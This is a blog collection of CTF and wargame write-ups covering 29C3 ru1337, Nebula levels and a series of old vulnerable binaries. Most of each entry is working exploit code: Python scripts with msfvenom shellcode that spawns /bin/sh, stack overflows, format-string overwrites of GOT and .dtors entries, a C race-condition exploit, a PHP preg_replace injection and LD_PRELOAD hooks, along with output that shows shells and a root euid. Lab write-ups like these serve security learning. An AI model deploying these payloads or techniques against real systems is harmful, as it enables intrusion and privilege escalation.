Monday, December 31, 2012

29C3 CTF - Exploitation 200 - ru1337 [Team xbios]

The given binary is a ELF 32-bit, dynamically linked executable with NX. Below is the important section of the challenge
  dest = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0); // No execute permission
  result = (int)dest;
  if ( dest != (char *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, v2, 0x2Cu, 0);    // Buffer overflow here
    for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i )
    {
      if ( !((*__ctype_b_loc())[v2[i]] & 0x400) ) 
      // Check to prevent against use of non printables
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, &s, 0x80u, 0);
    strcpy(dest, v2);   // Copy the data into mmap'ed segment
    strcpy(dest + 8, &s);

    ((void (*)(void))dest)();  // Tranfer control into the allocated segment
Idea of exploit:
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
#!/usr/bin/env python
# ru1337.py

import socket
import struct

ip = '94.45.252.242' 
port = 1024 
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip,port))
print soc.recv(79)

# msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 -b '\x00' #
shellcode = ("\xda\xce\xba\x2e\x65\x60\xd0\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x83\xee\xfc\x31\x56\x16\x03\x56\x16\xe2\xdb\x0f" +
             "\x6b\x88\xba\x82\x0d\x40\x91\x41\x5b\x77\x81\xaa\x28\x10" +
             "\x51\xdd\xe1\x82\x38\x73\x77\xa1\xe8\x63\x8f\x26\x0c\x74" +
             "\xbf\x44\x65\x1a\x90\xe4\x06\xe2\xb9\xa7\x61\x03\x88\xc8" )

# msfvenom -p linux/x86/exec CMD='/bin/cat flag' -a x86 -b '\x00' #
shellcode = ("\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35" +
             "\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15" +
             "\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d" +
             "\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56" +
             "\x67\xe1\xac\xb6\x4a\x85")

########################## stage 1 #############################
# 28 bytes to overflow buffer 

user  = struct.pack("<I",0) * 5
user += struct.pack("<I",0x0804a16c) # .bss addr for EBP
user += struct.pack("<I",0x08048858) #  replay code, mmap(0, 136, 7, 34, 0, 0);
user += struct.pack("<I",0)
user += struct.pack("<I",136)
user += struct.pack("<I",7)
user += struct.pack("<I",34)
# last 2 parameters are setup in stack during execution

soc.send(user)
print soc.recv(10)
password = "A"*10   # junk
soc.send(password)
print soc.recv(79)

########################## stage 2 #############################

user  = "P" * 8  # push EAX as NOP, ascii instruction to bypass __ctype_b_loc() check  
user += struct.pack("<I",0x08048a05) * 9 # overwrite EIP again
soc.send(user)
print soc.recv(10)

soc.send(shellcode)
print soc.recv(1024)
[ctf@renorobert 1337]# python ru1337.py   # ls
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
flag
ru1337
[ctf@renorobert 1337]# python ru1337.py   # cat flag
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
29C3_d4689608484bc61ec4d47d71ba0a933f
So the flag is: 29C3_d4689608484bc61ec4d47d71ba0a933f

Sunday, December 23, 2012

Exploit Exercise - PHP preg_replace

This level has a setuid binary which acts as a wrapper to execute a php script. The php script uses preg_replace with "e" modifier which makes it vulnerable to code injection. $PATH variable is defined as PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
There are many ways to solve this level. Here is a few:
level09@nebula:/home/flag09$ echo '[email flag@gmail.com]' > /tmp/mail 
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
flag AT gmail dot com

level09@nebula:/home/flag09$ echo '[email {${@system(sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail sh
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system(DIRECTORY_SEPARATOR.bin.DIRECTORY_SEPARATOR.sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

Exploit Exercise - Race Condition

Level 10 of nebula deals with race condition vulnerability. We have a setuid binary and a token file. The objective of this level is to read the token file. The setuid binary uses access() call to check the file for read permission. If successful, it reads the given file and sends it to user supplied ip address. Here is some info from man page about access:

The check is done using the calling process’s real UID and GID, rather than the effective IDs
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.

The scenario is exactly same as described by man page. To solve this level, we will create a file such that access() call succeeds. Then before open() is called, we will remove this file and create a symlink to the token file. Also the race can be won in one shot if we can block the setuid binary between the calls to access() and open(), which gives us lot of time. To block the process, we will fill the pipe fully and connect the stdout of flag10 to that pipe so that it blocks during the call to printf(). Here is the solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET    "/home/flag10/flag10"
#define FLAG      "/home/flag10/token"
#define FILE      "/tmp/access"
#define HOST      "127.0.0.1"

int pipe_fd[2];
char buf[] = {"A"}; 

int main(int argc,char **argv)
{
    char *arg[] = {TARGET, FILE, HOST, 0};
    int size = 65536;   /* Size of pipe to fill */
    int count = 0;
    pipe(pipe_fd);
    /* Fill the pipe */
    while(count < size){
        write(pipe_fd[1], buf, 1);
        count++;
    }
    /* Create file, remove if already existing */
    unlink(FILE);
    open(FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if(fork() == (pid_t)0){
    /* Child Process */
        dup2(pipe_fd[1], 1);
        close(pipe_fd[0]);
        execvp(TARGET, arg);
    }
    else{
    /* Parent Process */
        count = 0;
        close(pipe_fd[1]);
        sleep(2); 
        unlink(FILE);   /* Unlink the file */
        symlink(FLAG, FILE);  /* Create symlink to token */
    /* Drain the pipe */
        while(count < size){
            read(pipe_fd[0], buf, 1);
            count++;
        }
        wait(NULL);
    } 
return 0;
}
Run netcat in another terminal to receive the contents of token file
level10@nebula:/tmp$ gcc -o level10 level10.c 
level10@nebula:/tmp$ ./level10

level10@nebula:~$ nc -vvv -l 18211
Connection from 127.0.0.1 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Saturday, December 22, 2012

Exploit Exercise - Level [11]

In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
 err(1, "fread length");
    }
    process(buf, length);
For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'`
level11@nebula:/home/flag11$ 
level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null

###############################################################################

You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
level11@nebula:/home/flag11$
The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
 system(buffer);
}
Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python
#flag11.py

command = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = str()

for i in xrange(len(command)):
    for j in xrange(256):
        if ((key ^ j) & 0xff ) == ord(command[i]):
            enc = enc + chr(j)
            key = (key - ord(command[i])) & 0xffffffff # unsigned int
            break

junk = "A" * (length - len(command))
print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp"
level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Exploit Exercise - Level [13]

We have to get a token to solve this level. But there is a security check getuid()==1000. To bypass this check, we make a copy of flag13 binary, this removes setuid bit. Then we create a shared object and use LD_PRELOAD to hook getuid() call. Below is the solution
0x080484ef <+43>: call   0x80483c0 <getuid@plt>
0x080484f4 <+48>: cmp    eax,0x3e8
0x080484f9 <+53>: je     0x8048531 <main+109>

level13@nebula:/home/flag13$ cp flag13 ../level13/
level13@nebula:/home/flag13$ cd -
/home/level13
level13@nebula:~$ ls -ld *
-rwxr-x--- 1 level13 level13 7321 2012-02-01 01:08 flag13

level13@nebula:~$ ./flag13 
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation

level13@nebula:~$ cat getuid.c
#include<unistd.h>
uid_t getuid(void)
{
    return 1000;
}
level13@nebula:~$ gcc -fPIC -shared -o lib.so getuid.c 
level13@nebula:~$ ls
flag13  getuid.c  lib.so
level13@nebula:~$ export LD_PRELOAD="/home/level13/lib.so"
level13@nebula:~$ ./flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Wednesday, November 28, 2012

Some Random Binaries [0x02]

Stage6 binary takes argv[1] and argv[2] as input. There is couple of strcpy() calls. First call copies argv[1] into stack buffer at [ebp-0x118]. Another strcpy() call copies argv[2] into the address allocated using malloc(). Also there is an infinite loop at the address 0x8048424, which prevents us from taking control of execution by overwriting saved EIP of main function.
   0x80483e2: call   0x80482d0 <strlen@plt>  
   0x80483e7: inc    eax    
   0x80483e8: mov    DWORD PTR [esp],eax
   0x80483eb: call   0x80482c0 <malloc@plt> # allocate memory (strlen(argv[2])+1)
   0x80483f0: mov    DWORD PTR [ebp-0xc],eax # [ebp-0xc]=ret value from malloc()
   0x80483f3: mov    eax,DWORD PTR [ebp+0xc]
   0x80483f6: add    eax,0x4    
   0x80483f9: mov    eax,DWORD PTR [eax]  
   0x80483fb: mov    DWORD PTR [esp+0x4],eax  
   0x80483ff: lea    eax,[ebp-0x118]
   0x8048405: mov    DWORD PTR [esp],eax
   0x8048408: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x804840d: mov    eax,DWORD PTR [ebp+0xc]  
   0x8048410: add    eax,0x8     
   0x8048413: mov    eax,DWORD PTR [eax]     
   0x8048415: mov    DWORD PTR [esp+0x4],eax
   0x8048419: mov    eax,DWORD PTR [ebp-0xc]
   0x804841c: mov    DWORD PTR [esp],eax
   0x804841f: call   0x80482f0 <strcpy@plt> # strcpy(*([ebp-0xc]), argv[2])
   0x8048424: jmp    0x8048424      # infinite loop
To exploit this binary we have to gain control of execution before it reaches 0x8048424. So the idea is to overflow the buffer with argv[1], thus overwriting the pointer at [ebp-0xc]. This way we can control the destination address of 2nd strcpy() call.
We will overwrite [ebp-0xc] with the address of stack, where EIP is saved during the 2nd call to strcpy and argv[2] will be the address of the shellcode. Thus strcpy() will return into our shellcode.
Core was generated by `./stage6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  *__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277") at strcpy.c:40
40 strcpy.c: No such file or directory.
 in strcpy.c
(gdb) info frame 0
Stack frame at 0xbffffbd0:
 eip = 0xb7f09df4 in *__GI_strcpy (strcpy.c:40); saved eip 0x8048424
 called by frame at 0xbffffd00
 source language c.
 Arglist at 0xbffffbc8, args: dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277"
 Locals at 0xbffffbc8, Previous frame's sp is 0xbffffbd0
 Saved registers:
  ebp at 0xbffffbc8, esi at 0xbffffbc0, edi at 0xbffffbc4, eip at 0xbffffbcc
As we can see, EIP is saved at 0xbffffbcc during the call to strcpy(). So here is the final exploit.
#!/usr/include/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'
shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage6"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) -0x2
env = {"":shellcode}

# os.execve(vuln,[vuln,"A"*272,struct.pack("<I",addr)],env)
# info frame 0 : saved EIP at 0xbffffbcc

saved_eip = 0xbffffbcc
os.execve(vuln,[vuln,struct.pack("<I",0xbffffbcc)*68,struct.pack("<I",addr)],env)
Stage7 [Buffer Overflow & Format string]
The stage7 binary copies data into [ebp-0x118] using strcpy() resulting in buffer overflow. But there is loop at 0x8048436, which checks if [ebp-0xa] is NUL. This prevents us from taking control of execution using saved EIP.
   0x80483d7: mov    WORD PTR [ebp-0xa],0x0  # [ebp-0xa] = 0
   0x80483dd: mov    DWORD PTR [esp],0x4   
   0x80483e4: call   0x80482c0 <malloc@plt> # malloc(4)
   0x80483e9: mov    DWORD PTR [ebp-0x10],eax  # [ebp-0x10]=ret by malloc(4)
   0x80483ec: mov    eax,DWORD PTR [ebp+0xc]   
   0x80483ef: add    eax,0x4
   0x80483f2: mov    eax,DWORD PTR [eax]   
   0x80483f4: mov    DWORD PTR [esp+0x4],eax  
   0x80483f8: lea    eax,[ebp-0x118]
   0x80483fe: mov    DWORD PTR [esp],eax
   0x8048401: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x8048406: mov    eax,DWORD PTR [ebp-0x10]   
   0x8048409: mov    DWORD PTR [esp+0x8],eax
   0x804840d: lea    eax,[ebp-0x118]
   0x8048413: mov    DWORD PTR [esp+0x4],eax
   0x8048417: mov    DWORD PTR [esp],0x8048554
   0x804841e: call   0x80482e0 <printf@plt> # printf("%s%hn\n",[ebp-0x118],*[ebp-0x10])
   0x8048423: lea    eax,[ebp-0xa]
   0x8048426: mov    DWORD PTR [esp+0x4],eax
   0x804842a: mov    DWORD PTR [esp],0x804855b
   0x8048431: call   0x80482e0 <printf@plt> # printf("0x%08x\n", [ebp-0xa])
   0x8048436: cmp    WORD PTR [ebp-0xa],0x0  # check for NUL
   0x804843b: jne    0x8048436    # loops here
The idea to exploit this binary is to overwrite the Global Offset Table entry for printf function. First we will use strcpy() to overwrite the saved pointer at [ebp-0x10]. Then we will use the 1st call to printf to perform a 2 byte overwrite of printf's GOT entry. We will overwrite the higher 2 bytes with 0xbfff. When 2nd call to printf is made, execution is pointed to 0xbfffXXXX instead of libc. Thus we can bypass the NUL byte check at 0x8048436. Here is the exploit:
#!/usr/bin/env python
# stage7.py

import struct
import os

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xb8\x42\xa5\xe8\x6e\x5b\x2b\xc9" +
             "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xeb\xfc\xe2\xb7\xcf" +
             "\xe3\x36\xae\x42\x92\xae\xfd\x01\xd3\xc8\x95\xea\x90\x7e" +
             "\x65\x9d\x79\x1d\x0c\x33\x0f\x02\x9c\x23\x07\xc5\x20\xb4" +
             "\x37\xa7\x49\xda\x68\x54\xe1\x22\x20\xc9\x78\xc3\x03\x6d" )

printf_got = 0x08049664  # 0xb7eddf90
addr = 0xbfffdf90  # GOT entry after overwrite of higher bytes

payload = struct.pack("<I",printf_got+2) * 12287 + "PAD" # 0xbfff bytes
vuln = "./stage7"
shift = (0xc0000000 - 0x4 - len(vuln) - 0x2) - addr
env = {"":"A" * shift + shellcode}

os.execve(vuln,[vuln,payload],env)
Stage8 [Format String]
The stage8 binary has format string vulnerability. We will use this bug to overwrite the dtors as we did in stage3. There is parameter deficiency in the call to snprintf(). This is what the binary does
snprintf([ebp-0x100],256, "%s%c%c%hn", argv[1])
%hn actually points into data written using argv[1]. So we can give any address as input and perform a 2 byte write. I choose to overwrite tail of dtor with 0xbfff, making it point to 0xbfff0000. Here is the exploit:
#!/usr/bin/env python
# stage8.py

import os
import struct

shellcode = ("\xd9\xf6\xd9\x74\x24\xf4\xbe\x5c\x5d\xf3\x25\x58\x29\xc9" +
             "\xb1\x0b\x31\x70\x1a\x03\x70\x1a\x83\xc0\x04\xe2\xa9\x37" +
             "\xf8\x7d\xc8\x9a\x98\x15\xc7\x79\xec\x01\x7f\x51\x9d\xa5" +
             "\x7f\xc5\x4e\x54\x16\x7b\x18\x7b\xba\x6b\x12\x7c\x3a\x6c" +
             "\x0c\x1e\x53\x02\x7d\xad\xcb\xda\xd6\x02\x82\x3a\x15\x24" )

vuln = "./stage8"
dtor = 0x8049668
addr = 0xbfff0000
shift = 0xc0000000 - 0x4 - len(vuln) - 0x2 - addr
arg = struct.pack("<I",dtor+2) * 12287 + "A"   # 0xbffd bytes

env = {"":"A"*shift + shellcode}
os.execve(vuln,[vuln,arg],env)
I couldnt figure out the vulnerability in stage9 and exploit for stage10. Will post it when I solve them.

Some Random Binaries [0x01]

During my free time I worked with some old binaries from here. All the binaries are 32-bit executable, stripped and had no modern day protection. I used a OS running 2.6.32 kernel with ASLR disabled.

Stage2 [Buffer Overflow]
stage2 binary copies argv[1] into [ebp-0x64] using strcpy. 108 bytes will overwrite saved EIP. We overwrite it with the address of shellcode and gain control of execution.
   0x804842d: lea    eax,[ebp-0x64]
   0x8048430: push   eax
   0x8048431: call   0x8048330 <strcpy@plt>
Here is the exploit:
#!/usr/bin/env python
# stage2.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vul = "./stage2"
env = {"":shellcode}
retaddr = 0xc0000000 - 0x4 - len(vul) - len(shellcode) - 0x2
arg = "A"*104 + struct.pack("<I",retaddr)

os.execve(vul,[vul,arg],env)
Stage3 [Format string - dtors overwrite]
stage3 binary passes argv[1] string directly to printf() resulting in format string vulnerability.
   0x8048364: push   ebp
   0x8048365: mov    ebp,esp
   0x8048367: sub    esp,0x8
   0x804836a: mov    eax,DWORD PTR [ebp+0x8]
   0x804836d: mov    DWORD PTR [esp],eax
   0x8048370: call   0x8048288 <printf@plt> 
After finding the offset at which format string in located in stack, I choose to overwrite the dtors with the address of shellcode. Here is the exploit.
#!/usr/bin/env python
# stage3.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vuln = "./stage3"
addr = 0xc0000000 - 0x4 -len(vuln) - len(shellcode) - 0x2 #0xABCD
#  objdump -s -j .dtors stage3
dtor = 0x8049598

A = (addr >> 24) & 0xff
B = (addr >> 16) & 0xff
C = (addr >> 8)  & 0xff
D = (addr >> 0)  & 0xff

format = struct.pack("<I",dtor) + struct.pack("<I",dtor+1) + struct.pack("<I",dtor+2) + struct.pack("<I",dtor+3) + "XX%."+ str(D+0x0100-18) +"x%106$n%."+ str(C+0x0100-D) +"x%107$n%." + str(B+0x0100-C) +"x%108$n%."+ str(A+0x0100-B) +"x%109$n"

#format = "AAAABBBBCCCCDDDDXX" + "%.410x%106$n%.339x%107$n%.256x%108$n%.192x%109$n"

env = {"":shellcode}
os.execve(vuln,[vuln,format],env)

$ id              
uid=1001(user) gid=1001(user) groups=1001(user)
$ python stage3.py
��������XX000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b7ff10400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffffdd800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080483970# 
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stage4 [Buffer Overflow]
stage4 binary has 4 functions with few calls to strncpy() and strncat(). It takes two inputs, argv[1] and HELLOWORLD environment variable. argv[1] string is NUL terminated after 10 bytes but we can overflow the buffer using HELLOWORLD environment variable. Below is the vulnerable function.
   0x8048455: mov    DWORD PTR [ebp-0xc],0x0   # [ebp-0xc] == i = 0
   0x804845c: mov    eax,DWORD PTR [ebp+0x8]   
   0x804845f: mov    DWORD PTR [esp],eax 
   0x8048462: call   0x80483d4    
   0x8048467: mov    eax,DWORD PTR [ebp+0x8]
   0x804846a: mov    DWORD PTR [esp],eax
   0x804846d: call   0x80483f6    
   0x8048472: mov    eax,DWORD PTR [ebp-0xc]   
   0x8048475: add    eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) # while true:
   0x8048478: cmp    BYTE PTR [eax],0x0    
   0x804847b: jne    0x804847f    # if(eax != NUL)
   0x804847d: jmp    0x804849c
   0x804847f: lea    eax,[ebp-0x88]    
   0x8048485: mov    edx,eax     
   0x8048487: add    edx,DWORD PTR [ebp-0xc]   # edx = addr[ebp-0x88] + i
   0x804848a: mov    eax,DWORD PTR [ebp-0xc]   
   0x804848d: add    eax,DWORD PTR [ebp+0x8]   # eax = *(i + arg_pointer)
   0x8048490: movzx  eax,BYTE PTR [eax]   
   0x8048493: mov    BYTE PTR [edx],al   # *edx = eax
   0x8048495: lea    eax,[ebp-0xc]    
   0x8048498: inc    DWORD PTR [eax]    # i++
   0x804849a: jmp    0x8048472
The function copies the input byte by byte into the buffer [ebp-0x88] using a while loop till NUL byte. A counter which is used as array index is located at [ebp-0xc]. When we overflow the buffer, we have to take care how we overwrite this variable. 125th byte overwrites this counter. Values lesser than the value already present in [ebp-0xc] will cause the program to go into infinite loop. I overwrote the counter with 0x7f which will cause the while loop to skip the next 3 bytes, we are actually jumping over this memory area. This is how the stack will look like after overflow
0xffd730a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffd730b8: 0x41414141 0x00000090 0x41414141 0x41414141
0xffd730c8: 0x41414141 0x41414141 0xffd734e8 0x00000000
Notice that the buffer is filled with A's skipping the counter variable. Here is the final exploit:
#!/usr/bin/env python
# stage4.py

import os
import struct

shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage4"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) - 0x2
payload = "A"*124 + struct.pack("B",0x7f) + "PAD" + "A"*12 + struct.pack("<I",addr)
env = {"":shellcode,"HELLOWORLD":payload}
arg = "JUNK"

os.execve(vuln,[vuln,arg],env)
stage5 is very much similar to stage2.